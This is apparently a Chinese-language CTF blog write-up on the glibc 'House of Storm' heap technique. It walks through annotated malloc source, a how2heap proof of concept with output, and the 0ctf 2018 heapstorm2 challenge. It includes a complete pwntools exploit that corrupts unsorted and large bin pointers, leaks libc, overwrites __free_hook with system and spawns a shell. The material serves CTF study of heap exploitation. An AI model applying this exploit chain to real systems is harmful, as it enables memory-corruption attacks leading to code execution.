house_of_storm

文章发布时间:

最后更新时间:

I’m the storm that is approching

https://www.cnblogs.com/Rookle/p/13140339.html来的关键源码+注释orz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
//#define unsorted_chunks(M)          (bin_at (M, 1))
//如果unsorted bins不为空,从尾到头遍历unsorted bin中的每个chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
{
bck = victim->bk;//取出unsorted的尾部的chunk
/*
检查当前遍历的 chunk 是否合法,chunk 的大小不能小于等于 2 * SIZE_SZ,
也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。
这里的检查似乎有点小问题,直接使用了 victim->size,但 victim->size
中包含了相关的标志位信息,使用 chunksize(victim) 才比较合理,但在
unsorted bin 中的空闲 chunk 的所有标志位都清零了,所以这里直接
victim->size 没有问题。
*/
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);

size = chunksize(victim);//获取victim的size

/*
如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk,且
victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上
(MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。

last_remainder 是一个 chunk 指针,分配区上次分配 small chunk 时,
从一个 chunk 中分 裂出一个 small chunk 返回给用户,分裂后的剩余部分
形成一个 chunk,last_remainder 就是 指向的这个 chunk。
*/
if (in_smallbin_range(nb) &&
bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {

//分割remainder
remainder_size = size - nb;//计算分割后剩下的size
remainder = chunk_at_offset(victim, nb);//获取remainder的地址
//把remainder加入unsorted bin中
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder; // 设置last_remainder为remainder
remainder->bk = remainder->fd = unsorted_chunks(av);
//如果是remainder在large bin的范围,则把fd_nextsize,fd_nextsize清零
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->fd_nextsize = NULL;
}
//设置victim的size
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
//设置remainder的size
set_head(remainder, remainder_size | PREV_INUSE);
//设置remainder的物理相邻的下一个chunk的prev_size
set_foot(remainder, remainder_size);

check_malloced_chunk(av, victim, nb);//默认不做任何操作
void *p = chunk2mem(victim);//将chunk指针转化为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}


//把victim从unsorted bin 中移除
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

//如果 victim 的size 与申请的size相等,那么就返回其。
if (size == nb) {
//设置victim物理相邻的下一个chunk的prev_inuse位
set_inuse_bit_at_offset(victim, size);
//如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;

check_malloced_chunk(av, victim, nb); // 默认不做任何操作
void *p = chunk2mem(victim);//把chunk转换为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}


//如果上一步取出的chunk没有匹配成功,那么将该chunk放入对应的bin中
//如果在smallbin的范围,则放到对应多small bin中
if (in_smallbin_range(size))
{
victim_index = smallbin_index(size);//获取size对应的smallbin的index
bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
//fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
fwd = bck->fd;
}
else//如果不再smallbin的范围,也就是说在large bin 的范围
{
victim_index = largebin_index(size);//获取size对应的large bin的index
bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk

//如果large bin 非空,在largbin进行按顺序插入
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
/*
large bin中的chunk是按从大到小排列的,如果size < large bin
的最后一个chunk,说明size是这个large bin中的最小的,我们把它
加入到此large bin尾部。
*/
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {

fwd = bck;
bck = bck->bk;

/*
large bin 中size最小的chunk的fd_nextsize会指向size最大的
那个chunk,也就是首部的chunk。同样,large bin 中size最大的
chunk的bk_nextsize会指向size最小的那个chunk。
victim的bk_nextsize指向large bin原来最小的chunk,它的
bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
把它fd_nextsize和bk_nextsize都修正。
*/
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
//最大size的chunk的bk_nextsize,和原来最小chunk的bk_nextsize都指向victim
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //如果victim不是large bin 中最小的chunk
{
assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
//从大到小(从头到尾)找到合适的位置
while ((unsigned long) size < fwd->size) {
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
//如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
else
{
//size不相等,即size>fwd->size,把victim加入到纵向链表中
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else //如果large bin 为空,将victim加入到纵向列表
victim->fd_nextsize = victim->bk_nextsize = victim;
}

//#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
//把victim加入到large bin的链表中
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}

在这里用how2heap里glibc2.27的例子来看实现
跟glibc2.23不一样的是,随着tcache机制的加入
在2.27打storm需要先把tcachebin填满
我删除了大部分的英文
但保留了部分
这样才知道打的是pwn(doge)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char filler[0x60];
char target[0x60];

void init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
// clearenv();
}


int get_shift_amount(char* pointer){

int shift_amount = 0;
long long ptr = (long long)pointer;

while(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}

return shift_amount - 1; // Want amount PRIOR to this being zeroed out
}

int main(){
init();

char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
int* tcaches[7];


unsorted_bin = malloc ( 0x4e8 ); // size 0x4f0

// prevent merging
malloc ( 0x18 );

int shift_amount = get_shift_amount(unsorted_bin);
printf("Shift Amount: %d\n", shift_amount);

size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
if(alloc_size < 0x10){
printf("Chunk Size: 0x%lx\n", alloc_size);
puts("Chunk size is too small");
exit(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits
printf("In this case, the chunk size is 0x%lx\n", alloc_size);

// Checks to see if the program will crash or not

if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
puts("Please try again! :)");

return 1;
}//这里crash好多次 :(

if(alloc_size < 0x410){
// Fill up the TCache for the proper size
for(int i = 0; i < 7; i++){
tcaches[i] = malloc(alloc_size);
}
for(int i = 0; i < 7; i++){
free(tcaches[i]);
}
}
else{
puts("Not filling up the TCache");
}

large_bin = malloc ( 0x4d8 ); // size 0x4e0
// prevent merging
malloc ( 0x18 );

// FIFO
free ( large_bin ); // put small chunks first
free ( unsorted_bin );

// Put the 'large bin' chunk into the large bin
unsorted_bin = malloc(0x4e8);
free(unsorted_bin);

// The address that we want to write to!
fake_chunk = target - 0x10;


((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk

// Only needs to be a valid address.
(( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ; // large_bin->fd

(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize

printf("String before: %s\n", target);
printf("String pointer: %p\n", target);

ptr = calloc(alloc_size, 1);
strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);

printf("String after %s\n", target);
printf("Fake chunk ptr: %p\n", ptr);

return 0;
}

不知道为什么在gdb里一直crash,但是直接运行可以成功 :)
没法调试
放个完整的运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
House of Storm
======================================
Preparing chunks for the exploit
Put one chunk into unsorted bin and the other into the large bin
The unsorted bin chunk MUST be larger than the large bin chunk.
Find the proper chunk size to allocate.
Must be exactly the size of the written chunk from above.
Shift Amount: 5
In this case, the chunk size is 0x46
Fill TCache of the allocation size amount if the size of the target chunk is a TCache size chunk (0x20-0x410)
Done to prevent usage of TCache stashing
Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.
This is our target location to get from the allocator
Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location
of your fake chunk.
Misalign the location in order to use the primitive as a SIZE value.
The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).
Vulnerability #2!
Overwrite large bins bk->nextsize with the address to put our fake chunk size at.
Make allocation of the size that the value will be written for.
Once the allocation happens, the madness begins
Once in the unsorted bin, the 'large bin' chunk will be used in orer to
write a fake 'size' value to the location of our target.
After this, the target will have a valid size.
Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid
size and remove it from the bin.
With this, we have pulled out an arbitrary chunk!
String before:
String pointer: 0x56053bf12040
Make a call to 'calloc' instead of 'malloc' in order to
not use the TCache on the allocation. Had to fill TCache
because stashing would prevent the exploit from working
String after ABCDEFG
Fake chunk ptr: 0x56053bf12040

来看道例题吧
据说就是该攻击手法的来源
0ctf_2018_heapstorm2
glibc2.23
checksec

1
2
3
4
5
6
7
└─$ checksec 0ctf_2018_heapstorm2
[*] '/Desktop/0ctf_2018_heapstorm2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

‘start’

1
2
3
4
5
6
7
8
9
10
11
if ( !mallopt(1, 0) )
exit(-1); //ban掉了fastbin
if ( mmap((void *)0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != (void *)322371584 )//在0x13370000分配一段0x1000的内存
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
if ( read(fd, (void *)0x13370800, 0x18uLL) != 24 )//向0x13370800读入24字节的随机数
exit(-1);
close(fd);
MEMORY[0x13370818] = MEMORY[0x13370810];

读入了3个随机数,第4个和第3个一样,我们记作r1,r2,r3,r4
初始化后面的地址,用r1异或0 作为ptr的值,r2异或0作为size值,我们之后的ptr都是通过xor r1得到的,size都是 xor r2得到的

1
2
3
4
5
6
7
pwndbg> x /40gx 0x13370800
0x13370800: 0x72cec7f9b44fb49e 0x438137bc554b405e
0x13370810: 0x7a4f542a3248dba2 0x0000000000000000
0x13370820: 0x0000000000000000 0x0000000000000000
0x13370830: 0x0000000000000000 0x0000000000000000
0x13370840: 0x0000000000000000 0x0000000000000000
0x13370850: 0x0000000000000000 0x0000000000000000

1.Allocate
注意xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall sub_DE6(_QWORD *a1)
{
__int64 v1; // rsi
int i; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
void *v4; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
v1 = a1[2 * i + 5];
if ( !sub_BCC(a1, v1) )
{
printf("Size: ");
v3 = sub_1551("Size: ", v1);
if ( v3 > 12 && v3 <= 4096 )
{
v4 = calloc(v3, 1uLL);
if ( !v4 )
exit(-1);
a1[2 * i + 5] = sub_BCC(a1, v3); //a1[i+2].m_size = a1[0].m_size ^ input_size
a1[2 * i + 4] = sub_BB0(a1, (__int64)v4);//a1[i+2].m_heap = a1[0].m_heap ^ heap_addr
printf("Chunk %d Allocated\n", (unsigned int)i);
}
else
{
puts("Invalid Size");
}
return;
}
}
}

2.Update

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall sub_F21(_QWORD *a1, __int64 a2)
{
__int64 v2; // rsi
signed int v4; // [rsp+10h] [rbp-20h]
int v5; // [rsp+14h] [rbp-1Ch]
__int64 v6; // [rsp+18h] [rbp-18h]

printf("Index: ");
v4 = sub_1551("Index: ", a2);
if ( (unsigned int)v4 > 0xF )
return puts("Invalid Index");
v2 = a1[2 * v4 + 5];
if ( !sub_BCC(a1, v2) )
return puts("Invalid Index");
printf("Size: ");
v5 = sub_1551("Size: ", v2);
if ( v5 <= 0 || v5 > (unsigned __int64)(sub_BCC(a1, a1[2 * v4 + 5]) - 12) )// 0<v5<=size -12
return puts("Invalid Size");
printf("Content: ");
v6 = sub_BB0(a1, a1[2 * v4 + 4]);
sub_1377(v6, v5);//off-by-null
strcpy((char *)(v5 + v6), "HEAPSTORM_II");
return printf("Chunk %d Updated\n", (unsigned int)v4);
}

3.Delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall sub_109B(_QWORD *a1, __int64 a2)
{
void *v3; // rax
signed int v4; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v4 = sub_1551("Index: ", a2);
if ( (unsigned int)v4 > 0xF || !sub_BCC(a1, a1[2 * v4 + 5]) )
return puts("Invalid Index");
v3 = (void *)sub_BB0(a1, a1[2 * v4 + 4]);
free(v3);
a1[2 * v4 + 4] = sub_BB0(a1, 0LL);//ptr
a1[2 * v4 + 5] = sub_BCC(a1, 0LL);//size这俩都只是被xor了,没清零
return printf("Chunk %d Deleted\n", (unsigned int)v4);
}

4.View

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __fastcall sub_11B5(_QWORD *a1, __int64 a2)
{
__int64 v3; // rbx
__int64 v4; // rax
signed int v5; // [rsp+1Ch] [rbp-14h]

if ( (a1[3] ^ a1[2]) != 322401073LL )//要满足r2 xor r3 = 0x13377331才可以view
return puts("Permission denied");
printf("Index: ");
v5 = sub_1551("Index: ", a2);
if ( (unsigned int)v5 > 0xF || !sub_BCC(a1, a1[2 * v5 + 5]) )
return puts("Invalid Index");
printf("Chunk[%d]: ", (unsigned int)v5);
v3 = sub_BCC(a1, a1[2 * v5 + 5]);
v4 = sub_BB0(a1, a1[2 * v5 + 4]);
sub_14D4(v4, v3);
return puts(byte_180A);
}

回顾一下house of storm的条件
glibc版本小于2.30
This requires the following:
Write on free unsorted bin chunk
Write on free large bin chunk
Known address of target memory address
Known address of upper bits of heap chunk

程序可能crash
多跑几次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *
from pwn import p32,p64,u32,u64
context(os='linux', arch='amd64', log_level='debug')

p = remote('node4.buuoj.cn',25201)
#p = process('./0ctf_2018_heapstorm2')
libc = ELF('./libc-2.23.so')

def add(size):
p.sendlineafter(b'Command: ',b'1')
p.sendlineafter(b'Size: ',str(size))

def edit(idx,content):
p.sendlineafter(b'Command: ',b'2')
p.sendlineafter(b'Index: ',str(idx))
p.sendlineafter(b'Size: ',str(len(content)))
p.recvuntil(b'Content: ')
p.send(content)

def delete(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline('%d' % idx)

def show(idx):
p.sendlineafter(b'Command: ',b'4')
p.sendlineafter(b'Index: ',str(idx))

#---------------堆风水,启动!-------------------------#
add(0x18)#chunk0 off_by_null修改1的size
add(0x508)#chunk1
add(0x18)#chunk2
#---------------
add(0x18)#chunk3 off_by_null修改4的size
add(0x508)#chunk4
add(0x18)#chunk5
#---------------
add(0x18)#chunk6 防止合并到top_chunk

#----------------unsorted chunk-----------------------#
edit(1,b'\x00'*0x4F0 + p64(0x500)) #fake_chunk
delete(1)
edit(0,b'\x00'*(0x18-12)) #修改chunk1的size, 0x511->0x500
add(0x18) #chunk1
add(0x4d8) #chunk7 把0x500用完

delete(1)
delete(2) #chunk1-chunk2 合并 这是就存在堆重叠

add(0x38)#chunk1
add(0x4e8)#chunk2 chunk7的content指向chunk2的chunk-0x10位置处,我们可以实现控制unsorted chunk

#-------------------large chunk-----------------------------------#
edit(4,b'\x00'*0x4F0+p64(0x500))#fake_chunk
delete(4)
edit(3,b'\x00'*(0x18-12)) #修改chunk4的size, 0x511->0x500
add(0x18) #chunk4
add(0x4d8) #chunk8 把0x500用完

delete(4)
delete(5) #chunk4-chunk5 合并 这是就存在堆重叠

add(0x48)#chunk4 此时unsorted bin中剩下一个0x4e1大小的chunk,且与chunk8重叠,我们可以实现控制large chunk
#---------------unsorted chunk 和 large chunk ----------------------#
delete(2)
add(0x4e8) #把0x4e1的chunk放入到largebin中
delete(2) #把0x4F1的chunk放入到unsorted bin中
#---------------storm approching------------------------------#
fake_chunk = 0x13370800 - 0x20
payload = b'\x00' * 0x10
payload += p64(0)
payload += p64(0x4f1)
payload += p64(0)
payload += p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk

payload = b'\x00' * 0x20
payload += p64(0)
payload += p64(0x4e1)
payload += p64(0)
payload += p64(fake_chunk+8)
payload += p64(0)
payload += p64(fake_chunk-0x18-5)
edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize
add(0x48) #chunk2 -> 0x133707e0 成功将申请到了heaparray附近
#-----------------------泄漏 libc----------------------------------#
#由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址

payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0

payload = p64(0)*3 +p64(0x13377331) #满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8) #chunk1
edit(0, payload) #满足show的条件

show(1) #我们刚刚house of storm 写的地址泄漏出来
p.recvuntil("]: ")
heap = u64(p.recv(6).ljust(8, b'\x00'))
success("heap:%s"+hex(heap))

payload = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)

show(1) #泄漏libc地址
p.recvuntil("]: ")
malloc_hook = u64(p.recv(6).ljust(8, b'\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:%s"+hex(free_hook))
#--------------修改 free_hook -----------------------------------#
payload = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += b'/bin/sh\x00'
edit(0, payload)
edit(0, p64(system))
delete(1)

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
I am the storm that is approaching
我即是那迫近的风暴
Provoking black clouds in isolation
唤醒樊笼中的乌云
I am reclaimer of my name
我要收回我的真名
Born in flames, I have been blessed
生于火焰 受尽祝福
My family crest is a demon of death!
死亡恶魔即是我的家徽
Forsakened, I am awakened
觉醒时已被遗弃
A phoenix's ash in dark divine
凤凰的灰烬在黑暗神灵旁飘落
Descending misery
苦难降临
Destiny chasing time
命运追逐着时光